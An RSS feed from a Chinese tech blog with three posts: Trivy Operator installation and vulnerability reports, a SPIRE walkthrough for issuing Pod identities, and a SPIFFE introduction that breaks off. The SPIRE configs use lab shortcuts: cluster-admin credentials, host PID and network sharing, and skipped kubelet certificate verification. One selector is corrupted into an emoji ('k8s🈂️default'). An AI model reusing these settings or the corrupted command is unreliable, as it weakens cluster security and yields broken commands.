<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>security | 伪架构师</title>
    <link>/tags/security/</link>
      <atom:link href="/tags/security/index.xml" rel="self" type="application/rss+xml" />
    <description>security</description>
    <generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>zh</language><lastBuildDate>Sun, 19 Mar 2023 20:03:17 +0800</lastBuildDate>
    <image>
      <url>/img/logo-wide.png</url>
      <title>security</title>
      <link>/tags/security/</link>
    </image>
    
    <item>
      <title>持续监控集群中的镜像漏洞——Trivy Operator 简介</title>
      <link>/post/intro-trivy-operator/</link>
      <pubDate>Sun, 19 Mar 2023 20:03:17 +0800</pubDate>
      <guid>/post/intro-trivy-operator/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;在本文中，我们将介绍 Trivy Operator，一款用于持续监控 Kubernetes 集群中的容器镜像漏洞的工具。我们将从 Trivy Operator 的简介开始，接着介绍如何安装和配置，最后探讨漏洞扫描与呈现，以及其他补充功能。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;引言&#34;&gt;引言&lt;/h2&gt;

&lt;p&gt;当下，容器技术已成为企业构建和部署应用的关键组成部分。然而，容器镜像可能会携带软件漏洞，这些漏洞可能导致应用和数据面临安全风险。为了确保 Kubernetes 集群在运行时的持续安全，就需要自动对运行中的容器镜像进行扫描的工具。&lt;/p&gt;

&lt;p&gt;很早以前曾经使用 Shell Operator 结合 Trivy 编写了一个小工具，对运行中的镜像进行扫描，然后把扫描结果用 Prometheus 的方式进行输出。&lt;/p&gt;

&lt;p&gt;接下来将要介绍的 Trivy-Operator，是一个来自 Aqua 的开源工具，可以自动扫描容器镜像中已知的漏洞，并用最佳实践对 Kubernetes 资源进行验证，从而提高 Kubernetes 集群的运行时安全性。它易于安装，可以顺利地集成到监控系统中；更借助Kubernetes Operator 技术响应集群上的工作负载和其他更改，自动更新安全报告资源。Trivy-Operator 能够显著加强 Kubernetes 集群的安全性，保护其中的应用程序免受潜在威胁。&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;在深入了解 Trivy-Operator 的使用方法之前，先简单交代一下它的大致功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;漏洞扫描：Trivy-Operator 基于 Trivy 扫描器，对容器镜像进行全面扫描，识别其中的已知漏洞。这有助于及时发现并修复潜在的安全隐患，保护您的应用程序免受攻击。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Kubernetes 资源验证：通过与 Kubernetes API 的集成，Trivy-Operator 可以自动验证 Kubernetes 资源的配置，确保遵循安全性最佳实践。这样可以避免因配置错误导致的安全风险。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;持续监控与报告：Trivy-Operator 自动更新安全报告资源，以响应 Kubernetes 集群上的工作负载和其他更改。这意味着它可以在创建新 Pod 时启动漏洞扫描和配置审核，然后更新扫描报告。这有助于实时了解集群安全状况，及时采取相应措施。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Prometheus 集成：Trivy-Operator 提供 Prometheus 指标端点，使其可以与现有的监控基础设施集成。通过Prometheus，用户可以收集和分析 Trivy-Operator 的指标数据，实现对集群安全的实时监控。通过 Prometheus 之后，还可以和 Grafana、Alert-manager 等联动，进一步提高集群的透明度和可运维性。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;可以通过三种方式安装和部署 Trivy Operator，YAML、Helm 和 OLM。&lt;/p&gt;

&lt;h3 id=&#34;yaml&#34;&gt;YAML&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f \
https://raw.githubusercontent.com/aquasecurity/trivy-operator/v0.12.1/deploy/static/trivy-operator.yaml

customresourcedefinition.apiextensions.k8s.io/clustercompliancereports.aquasecurity.github.io created
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，这里创建了几个 CRD，都是以 &lt;code&gt;reports&lt;/code&gt; 结尾的，看来都是各种报告，大概几个字面意思：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;infraassessmentreports，clusterinfraassessmentreports：基础设施评估报告，包括 Kubernetes 核心组件的配置内容&lt;/li&gt;
&lt;li&gt;vulnerabilityreports：漏洞报告&lt;/li&gt;
&lt;li&gt;configauditreports、clusterconfigauditreports：配置审计报告&lt;/li&gt;
&lt;li&gt;exposedsecretreports：Secret 报告&lt;/li&gt;
&lt;li&gt;clusterrbacassessmentreports/rbacassessmentreports：RBAC 评估报告&lt;/li&gt;
&lt;li&gt;clusterrbacassessmentreports：集群 RBAC 评估报告&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外还生成了一个叫做 &lt;code&gt;trivy-operator&lt;/code&gt; 的 ServiceAccount，可以查看一下它的权限：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl rolesum trivy-operator
ServiceAccount: trivy-system/trivy-operator
...
Policies:
...
• [CRB] */trivy-operator ⟶  [CR] */trivy-operator
  Resource                                                Name  Exclude  Verbs  G L W C U P D DC
  clustercompliancedetailreports.aquasecurity.github.io   [*]     [-]     [-]   ✔ ✔ ✔ ✔ ✔ ✔ ✔ ✖
  clustercompliancereports.aquasecurity.github.io         [*]     [-]     [-]   ✔ ✔ ✔ ✔ ✔ ✔ ✔ ✖
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;这里用到了 kubectl 的 &lt;a href=&#34;https://github.com/Ladicle/kubectl-rolesum&#34; target=&#34;_blank&#34;&gt;rolesum 插件&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;可以看到，它从 &lt;code&gt;trivy-operator&lt;/code&gt; 这个 &lt;code&gt;ClusterRole&lt;/code&gt; 继承了大量权限，除了前面提到的 CR 之外，还包括了对 Pod、Configmap 等的读取权限，据此可以判断他的工作范围。&lt;/p&gt;

&lt;h3 id=&#34;helm&#34;&gt;Helm&lt;/h3&gt;

&lt;p&gt;这个安装也比较简单，首先加入 Aqua 的仓库：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm repo add aqua https://aquasecurity.github.io/helm-charts
&amp;quot;aqua&amp;quot; has been added to your repositories
$ helm repo update
...
$ helm install trivy-operator aqua/trivy-operator \
  --namespace trivy-system \
  --create-namespace \
  --set=&amp;quot;trivy.ignoreUnfixed=true&amp;quot; \
  --version 0.12.1
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以用 &lt;code&gt;helm show values aqua/trivy-operator&lt;/code&gt; 看看其中包含的丰富配置。后面也会进行一点讲解。&lt;/p&gt;

&lt;h3 id=&#34;operator-lifecycle-manager&#34;&gt;Operator Lifecycle Manager&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/operator-framework/operator-lifecycle-manager/&#34; target=&#34;_blank&#34;&gt;OLM&lt;/a&gt;这是一种专门用于维护 Operator 生命周期的方式。这里暂时不做更多介绍。具体安装方式可以参照&lt;a href=&#34;https://aquasecurity.github.io/trivy-operator/v0.12.1/getting-started/installation/olm/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;配置&#34;&gt;配置&lt;/h2&gt;

&lt;p&gt;Operator Pod（&lt;code&gt;trivy-operator-&lt;/code&gt;）支持很多环境变量用于其行为配置，下面列出一些关键内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_EXCLUDE_NAMESPACES&lt;/code&gt;：排除命名空间&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_VULNERABILITY_SCANNER_ENABLED&lt;/code&gt;：启用漏洞扫描&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_CONFIG_AUDIT_SCANNER_ENABLED&lt;/code&gt;：启用配置审计&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_RBAC_ASSESSMENT_SCANNER_ENABLED&lt;/code&gt;：启用 RBAC 扫描&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_CONFIG_AUDIT_SCANNER_BUILTIN&lt;/code&gt;：启用内置的配置扫描引擎&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPERATOR_WEBHOOK_BROADCAST_URL&lt;/code&gt;：Webhook 地址，置空则禁用该功能&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外，同一个命名空间内还有一个 Configmap，内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
data:
  trivy.additionalVulnerabilityReportFields: &amp;quot;&amp;quot;
  trivy.command: image
  trivy.dbRepository: ghcr.io/aquasecurity/trivy-db
  trivy.dbRepositoryInsecure: &amp;quot;false&amp;quot;
  trivy.mode: Standalone
  trivy.repository: ghcr.io/aquasecurity/trivy
  trivy.resources.limits.cpu: 500m
  trivy.resources.limits.memory: 500M
  trivy.resources.requests.cpu: 100m
  trivy.resources.requests.memory: 100M
  trivy.severity: UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL
  trivy.slow: &amp;quot;true&amp;quot;
  trivy.supportedConfigAuditKinds: Workload,Service,Role,ClusterRole,NetworkPolicy,Ingress,LimitRange,ResourceQuota
  trivy.tag: 0.38.2
  trivy.timeout: 5m0s
  trivy.useBuiltinRegoPolicies: &amp;quot;true&amp;quot;
kind: ConfigMap
metadata:
  annotations:
    ...
  name: trivy-operator-trivy-config
  namespace: trivy-system
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中的内容，熟悉 Trivy 扫描器的读者应该很容易看得出来——这里基本定义了最常用的几个 Trivy 开关。另外根据官网看来，还可以使用 &lt;code&gt;trivy-operator-trivy-config&lt;/code&gt; Secret 的 &lt;code&gt;data.trivy.githubToken&lt;/code&gt; 来设置用于抓取 Trivy 特征库的 Github Token。&lt;/p&gt;

&lt;h2 id=&#34;漏洞扫描和呈现&#34;&gt;漏洞扫描和呈现&lt;/h2&gt;

&lt;p&gt;事实上，Trivy Operator 部署之后直接就会启动扫描，生成漏洞报告（vulnerabilityreports）以及 RBAC 报告（rbacassessment），可以使用 &lt;code&gt;kubectl get xx yy-o wide&lt;/code&gt;，或者 &lt;code&gt;kubectl descrbe xx yy&lt;/code&gt; 来查看具体内容。例如漏洞报告显示各级别问题都是 &lt;code&gt;0&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;新建一个工作负载，例如 &lt;code&gt;kubectl create deployment nginx --image nginx:1.16&lt;/code&gt;，创建之后，会发现马上出现一个 &lt;code&gt;scan-vulnerabilityreport-*&lt;/code&gt; 的 Pod 启动了，在它完成任务消失之后，我们会看到 &lt;code&gt;vulns&lt;/code&gt; 多了一条针对  &lt;code&gt;nginx:1.16&lt;/code&gt; 镜像的记录，其中包含高中低各种级别的漏洞若干。&lt;/p&gt;

&lt;p&gt;另外还新出现了一个名为 &lt;code&gt;replicaset-nginx-XXX&lt;/code&gt; 的 &lt;code&gt;ConfigAuditReport&lt;/code&gt; 对象，其中包含了对这个 RS 的审计内容，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - category: Kubernetes Security Check
    checkID: KSV015
    description: When containers have resource requests specified, the scheduler can
      make better decisions about which nodes to place pods on, and how to deal with
      resource contention.
    messages:
    - Container &#39;nginx&#39; of ReplicaSet &#39;nginx-54f8f9f495&#39; should set &#39;resources.requests.cpu&#39;
    severity: LOW
    success: false
    title: CPU requests not specified
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这些基本内容都可以通过 Prometheus 监控栈进行监控，并可通过 Grafana &lt;a href=&#34;https://github.com/dotdc/grafana-dashboards-kubernetes/blob/master/dashboards/trivy&#34; target=&#34;_blank&#34;&gt;Dashboard&lt;/a&gt; 进行可视化呈现；或者用 Alert Manager 以及 Webhook 进行告警。&lt;/p&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;p&gt;其实除了 YAML 和镜像漏洞的检查之外，这个 Operator 还定义了多种合规性、安全基线方面的内容，并可以通过 REGO 语言进行自定义的基线检查。虽然多数功能还处于非正式版本，但这是一个合理的方向———对集群安全，要进行可视化的、持续的审视，而不是。。我不说了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 SPIRE 为 Pod 提供身份</title>
      <link>/post/k8s-workload-id-with-spire/</link>
      <pubDate>Thu, 24 Nov 2022 21:55:45 +0800</pubDate>
      <guid>/post/k8s-workload-id-with-spire/</guid>
      <description>

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;SPIFFE 是一个认证框架，能为多种节点和工作负载类型提供证实能力，解决“我是我”的问题，前面文章演示过用 SPIRE 给类 Unix 进程提供身份的方法，今天这篇就试试给 Pod 提供身份。&lt;/p&gt;

&lt;p&gt;这次实验会在前面的基础之上，在 Kubernetes 集群之外运行独立的 SPIRE Server，在集群中用 Pod 的形式运行 SPIRE Agent 作为节点，最后在其它 Pod 中访问 SPIRE Agent，获取 SVID。本文所涉及的对象关系如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/spiff_and_k8s.drawio.png&#34; alt=&#34;spiff and k8s&#34; /&gt;&lt;/p&gt;

&lt;p&gt;开始之前，需要做一些准备：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;有一个 Kubernetes 集群，Kind 或者 Minikube 也都是可以完成测试的。&lt;/li&gt;
&lt;li&gt;SPIRE 1.5.x 的二进制文件，可以从 &lt;code&gt;https://spiffe.io/downloads/&lt;/code&gt; 下载&lt;/li&gt;
&lt;li&gt;构建镜像所需的基础镜像和 Podman/Docker 等工具。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;kubernetes-相关插件&#34;&gt;Kubernetes 相关插件&lt;/h2&gt;

&lt;p&gt;这里要用到 SPIRE 的三个插件：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes Node Attestor&lt;/strong&gt;：用于证实 Node 身份，需要分别在 Server 和 Agent 两侧进行配置。目前可以选择 &lt;code&gt;k8s_sat&lt;/code&gt; 或者 &lt;code&gt;k8s_psat&lt;/code&gt; 两种插件，两侧的插件选择应保持一致，分别用于 ServiceAccount Token 和新版本 Kubernetes 中新增的 Projected ServiceAccount Token，本文选择的是 &lt;code&gt;k8s_sat&lt;/code&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Projected Token 具有更好的安全性，延伸阅读：&lt;a href=&#34;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/&#34; target=&#34;_blank&#34;&gt;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/&lt;/a&gt;）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes Bundle&lt;/strong&gt;：Trust Bundle 是数字证书的集合，在 Kubernetes 中往往需要使用 Configmap 来存储和共享，所以一个直接的想法就是通过 &lt;code&gt;spire-server bundle show&lt;/code&gt; 命令来获取证书集合，并生成 Configmap。但是这个插件可以方便地通过 Kubernetes API 来自动维护证书集合到 Configmap 的转换过程，并自动完成轮转工作。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes Workload Attestor&lt;/strong&gt;：用于证实 Workload 身份，只需要在 Agent 中配置即可。&lt;/p&gt;

&lt;h2 id=&#34;配置和启动-spire-server&#34;&gt;配置和启动 SPIRE Server&lt;/h2&gt;

&lt;p&gt;简单粗暴上配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;server {
...
    }
}

plugins {
    DataStore &amp;quot;sql&amp;quot; {
...
    }

KeyManager &amp;quot;disk&amp;quot; {
...
}

    Notifier &amp;quot;k8sbundle&amp;quot; {
        plugin_data {
            kube_config_file_path = &amp;quot;/home/dustise/.kube/config&amp;quot;
        }
    }

    NodeAttestor &amp;quot;k8s_sat&amp;quot; {
        plugin_data {
            clusters = {
                &amp;quot;kindcluster&amp;quot; = {
                    service_account_allow_list = [&amp;quot;spire:spire-agent&amp;quot;]
                    use_token_review_api_validation = true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的 SPIRE Server 配置中，省略了通用部分，具体内容可以参考前面一篇文章，重点看一下两节 Kubernetes 相关配置。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;k8sbundle&lt;/code&gt; 的作用就是把 Trust Bundle 内容保存到 Configmap 里面，因此是需要和 API Server 打交道的，这里给他直接配置了一个 KubeConfig 文件，访问方式还有其他的配置内容，可以参考&lt;a href=&#34;https://github.com/spiffe/spire/blob/main/doc/plugin_server_notifier_k8sbundle.md&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;。要注意的是，这里使用的 KubeConfig 文件所包含的账号是 Cluster Admin 权限，如果使用其他的账号，需要具备对 Configmap 进行 create 和 patch 操作的授权。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;k8s_sat&lt;/code&gt; 一节中，&lt;code&gt;clusters&lt;/code&gt; 字段是一个 Map，其中可以对接多个 Kubernetes 集群，这里我们填充了三个字段：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;service_account_allow_list&lt;/code&gt;：允许 Agent 注册时使用的 Service Account。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;use_token_review_api_validation&lt;/code&gt;：使用 TokenReview API 对 Serivce Account Token 进行验证，除此之外，还可以使用证书进行认证。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kube_config_file&lt;/code&gt;：和 API Server 进行沟通的凭据。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;和 Bundle 类似，这里同样需要具备一定的权限来完成 SPIRE Server 的工作，&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Configmap 的 patch、get、list&lt;/li&gt;
&lt;li&gt;tokenreviews 的 create&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;创建好配置文件之后，可以先在目标集群中创建 &lt;code&gt;spire&lt;/code&gt; 命名空间。使用 &lt;code&gt;spire-server -config=[config file path]&lt;/code&gt; 命令启动服务器。稍后会在集群中看到新建的 Configmap。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;更多配置信息可以参考&lt;a href=&#34;https://github.com/spiffe/spire/blob/main/doc/plugin_server_nodeattestor_k8s_sat.md&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Server 启动成功后，可以提前为工作负载创建 Node 和 Entry：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;spire-server entry create -socketPath=socks/spire-server.sock \
    -spiffeID spiffe://spiffe.dom/clusters/kindcluster \
    -selector k8s_sat:cluster:kindcluster -node

spire-server entry create -socketPath=socks/spire-server.sock \
    -spiffeID spiffe://spiffe.dom/ns/default/sa/default \
    -parentID spiffe://spiffe.dom/ns/spire/sa/spire-agent \
    -selector k8s:ns:default \
    -selector k8s🈂️default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;首先用 &lt;code&gt;k8s_sat:cluster:kindcluster&lt;/code&gt; 创建了一个在 &lt;code&gt;spiffe.dom&lt;/code&gt; 中的 Node 条目，它的 SPIFFE ID 是 &lt;code&gt;spiffe://spiffe.dom/clusters/kindcluster&lt;/code&gt;；&lt;/p&gt;

&lt;p&gt;接下来以 Node 条目为上级，使用 &lt;code&gt;k8s:ns:default&lt;/code&gt; + &lt;code&gt;k8s🈂️default&lt;/code&gt; 的 Selector，创建一个 SPIFFE ID &lt;code&gt;spiffe://spiffe.dom/ns/default/sa/default&lt;/code&gt;，代表在 &lt;code&gt;default&lt;/code&gt; 命名空间中用 &lt;code&gt;default&lt;/code&gt; Service Account 身份运行的 Pod。&lt;/p&gt;

&lt;h2 id=&#34;创建-agent&#34;&gt;创建 Agent&lt;/h2&gt;

&lt;p&gt;在运行 Agent 之前，首先要制作一个镜像，这里偷懒的使用现成二进制进行构建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-Dockerfile&#34;&gt;FROM busybox:1.35.0-glibc
RUN mkdir -p /spire/bin
COPY spire-agent /spire/bin
CMD [&amp;quot;/spire/bin/spire-agent&amp;quot;, &amp;quot;-config=/spire/conf/k8s-agent.conf&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里要创建一个 Agent 的工作负载，为了让 Agent 能够通过进程号查询工作负载的 Pod 信息，并对工作负载提供 Workload API，需要满足几个条件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Agent 需要有授权访问 Kubernetes 的特定资源&lt;/li&gt;
&lt;li&gt;共享 Socket 文件，让 Workload 可以访问 Agent 提供的 Workload API&lt;/li&gt;
&lt;li&gt;能够识别调用 Workload API 的进程的 Pod 信息，从而生成 Selector&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;综合以上考虑，我们需要设计这样的 Workload：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;用主机卷的方式在每个节点上暴露 Socket&lt;/li&gt;
&lt;li&gt;能够访问 Trust Bundle 所在的 Configmap&lt;/li&gt;
&lt;li&gt;Agent 和 Workload 共享 IPC 空间，便于通过进程号识别身份&lt;/li&gt;
&lt;li&gt;Agent 所使用的 Service Account 需要具备和 API Server/Kubelet 通信查询信息的能力。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;因此产生如下的 YAML 片段：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    spec:
      hostPID: true
      hostNetwork: true
      serviceAccountName: spire-agent
...
      containers:
        - name: spire-agent
          image: gcr.io/spiffe-io/spire-agent:1.5.0
          args: [&amp;quot;-config&amp;quot;, &amp;quot;/run/spire/config/agent.conf&amp;quot;]
          volumeMounts:
            - name: spire-config
              mountPath: /run/spire/config
              readOnly: true
            - name: spire-bundle
              mountPath: /run/spire/bundle
            - name: spire-agent-socket
              mountPath: /run/spire/sockets
              readOnly: false        
      volumes:
        - name: spire-config
          configMap:
            name: spire-agent
        - name: spire-bundle
          configMap:
            name: spire-bundle
        - name: spire-agent-socket
          hostPath:
            path: /run/spire/sockets
            type: DirectoryOrCreate
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段 YAML 有几个要点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用了符合 SPIRE Server 配置中要求的 ServiceAccount&lt;/li&gt;
&lt;li&gt;HostPID 共享主机 PID 空间&lt;/li&gt;
&lt;li&gt;HostNetwork 共享主机网络空间&lt;/li&gt;
&lt;li&gt;加载 Trust Bundle 所在的 Configmap&lt;/li&gt;
&lt;li&gt;加载一个主机卷用于输出 Socket 文件&lt;/li&gt;
&lt;li&gt;用一个 Configmap 保存配置文件并加载&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Agent 的配置文件如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;agent {
  data_dir = &amp;quot;/run/spire&amp;quot;
  log_level = &amp;quot;DEBUG&amp;quot;
  server_address = &amp;quot;10.211.55.5&amp;quot;
  server_port = &amp;quot;8081&amp;quot;
  socket_path = &amp;quot;/run/spire/sockets/agent.sock&amp;quot;
  trust_bundle_path = &amp;quot;/run/spire/bundle/bundle.crt&amp;quot;
  trust_domain = &amp;quot;spiffe.dom&amp;quot;
}

plugins {
  NodeAttestor &amp;quot;k8s_sat&amp;quot; {
    plugin_data {
      cluster = &amp;quot;kindcluster&amp;quot;
    }
  }

  KeyManager &amp;quot;memory&amp;quot; {
...
  }

  WorkloadAttestor &amp;quot;k8s&amp;quot; {
    plugin_data {
      skip_kubelet_verification = true
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Agent 配置相对来说稍显复杂：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;server_address&lt;/code&gt; 和 &lt;code&gt;server_pod&lt;/code&gt;，用于访问前面启动的 SPIRE SERVER&lt;/li&gt;
&lt;li&gt;&lt;code&gt;trust_bundle_path&lt;/code&gt; 引用 Configmap 的加载路径即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;trust_domain&lt;/code&gt; 需要保持和 SPIRE Server 定义一致&lt;/li&gt;
&lt;li&gt;&lt;code&gt;k8s_sat&lt;/code&gt; 的 &lt;code&gt;cluster&lt;/code&gt; 字段中，集群名称需要和 SPIRE Server 的 Map 中的定义匹配&lt;/li&gt;
&lt;li&gt;&lt;code&gt;skip_kubelet_verification&lt;/code&gt;：跳过对 Kubelet 证书的检查&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Agent 使用的 Service Account 也需要进行 RBAC 授权，需要能够对 &lt;code&gt;pod&lt;/code&gt;、&lt;code&gt;node&lt;/code&gt; 以及 &lt;code&gt;node/proxy&lt;/code&gt; 进行 &lt;code&gt;get&lt;/code&gt; 操作。&lt;/p&gt;

&lt;p&gt;先后把配置 Configmap、RBAC 以及 Daemonset 等资源提交之后，会看到 Agent Pod 启动。&lt;/p&gt;

&lt;h2 id=&#34;启动客户端&#34;&gt;启动客户端&lt;/h2&gt;

&lt;p&gt;任意启动一个客户端程序，为模仿接入 Workload API 的实现，其中还是需要使用 SPIRE Agent 的二进制。客户端应该使用 Agent 的 Socket 访问 Wokrload API，同时为了表明身份，同样需要用 &lt;code&gt;HostPID&lt;/code&gt; 供 Agent 识别，因此运行如下工作负载：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
      hostPID: true
      hostNetwork: true
...
      containers:
        - name: client
          image: gcr.io/spiffe-io/spire-agent:1.2.3
          command: [&amp;quot;sleep&amp;quot;]
          args: [&amp;quot;1000000000&amp;quot;]
          volumeMounts:
            - name: spire-agent-socket
              mountPath: /run/spire/sockets
              readOnly: true
      volumes:
        - name: spire-agent-socket
          hostPath:
            path: /run/spire/sockets
            type: Directory
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 在 &lt;code&gt;default&lt;/code&gt; 命名空间启动之后，进入 Shell 使用 &lt;code&gt;spire-agent api fetch&lt;/code&gt; 命令，就能成功的获取 SVID 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bin/spire-agent api  fetch -socketPath=/run/spire/sockets/agent.sock
Received 1 svid after 83.772792ms

SPIFFE ID:              spiffe://spiffe.dom/shutup
SVID Valid After:       2022-11-24 17:02:03 +0000 UTC
SVID Valid Until:       2022-11-24 17:04:13 +0000 UTC
CA #1 Valid After:      2022-11-23 14:57:51 +0000 UTC
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;to-be-continued&#34;&gt;To be continued&lt;/h2&gt;

&lt;p&gt;现在我们就用一个非常笨拙的方法，把 Kubernetes 的工作负载识别能力接入到了 SPIRE Server 里面了。事实上接入 Kubernetes 还有别的部署和使用方式，例如使用 CRD、在集群内运行 SPIRE Server、使用 Envoy 等接入 Workload API 等。官网文档中对这些案例都有较为详细的指导。&lt;/p&gt;

&lt;p&gt;结合前面对于 Ghostunel 等的介绍，不难看出，打通虚拟机和 Kubernetes 工作负载身份是可行的，而根据联邦一文的描述，这个体系还可以和 OIDC 等进行互通，进一步扩大 SPIFFE SVID 的版图。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SPIFFE/SPIRE 从入门到入门</title>
      <link>/post/something-about-spire/</link>
      <pubDate>Tue, 27 Sep 2022 21:10:08 +0800</pubDate>
      <guid>/post/something-about-spire/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;大概很多人和我一样，是从 &lt;a href=&#34;https://istio.io&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt; 那里听说 &lt;a href=&#34;https://spiffe.io/&#34; target=&#34;_blank&#34;&gt;SPIFFE（读音 Spiffy [ˈspɪfi]）&lt;/a&gt; 的，Istio 中用 SPIFFE 方式为微服务提供身份。SPIFFE 全称为 Secure Production Identity Framework For Every one，顾名思义，这是一个解决身份问题的框架；而 SPIRE 则是 SPIFFE 的一个实现，全称为 SPIFFE Runtime Environment。&lt;/p&gt;

&lt;p&gt;一个“我是谁”的问题，真的需要大动干戈？甚至能养活两个项目：SPIFFE 和 Spire 这对双子星项目，2018 年以 Sandbox 项目身份加入 CNCF，2020 年进入孵化状态，2022 年毕业——是的不但养活了，甚至还毕业了。&lt;/p&gt;

&lt;p&gt;官方出了一本小册子，叫做《Solving The Bottom Turtle —— a SPIFFE Way to Establish Trust in Your Infrastructure via Universal Identity》，内容如副标题所说——用 SPIFFE 的方式在基础设施中，利用统一身份构建信任关系。&lt;/p&gt;

&lt;p&gt;这里提到的最下面的乌龟，大意是说，身份问题是一个值得深入挖掘的基石技术，相关的传说可以查看一下机壳的文章：&lt;a href=&#34;https://www.gcores.com/articles/122351&#34; target=&#34;_blank&#34;&gt;《世界巨龟神话原型：如果世界是一只乌龟
》&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;业务和组织之间的关系，往往就代表着人与应用之间、应用与应用之间的交互。大量的微服务架构应用，用水平伸缩、快速迭代的方式在复杂多变的容器、公有云等基础设施上运行，而安全以及合规的要求则日益提高。这种情况下，访问控制的必要性就逐步凸显出来。访问控制的实现，就是乌龟叠叠乐的效果：&lt;/p&gt;

&lt;ul&gt;
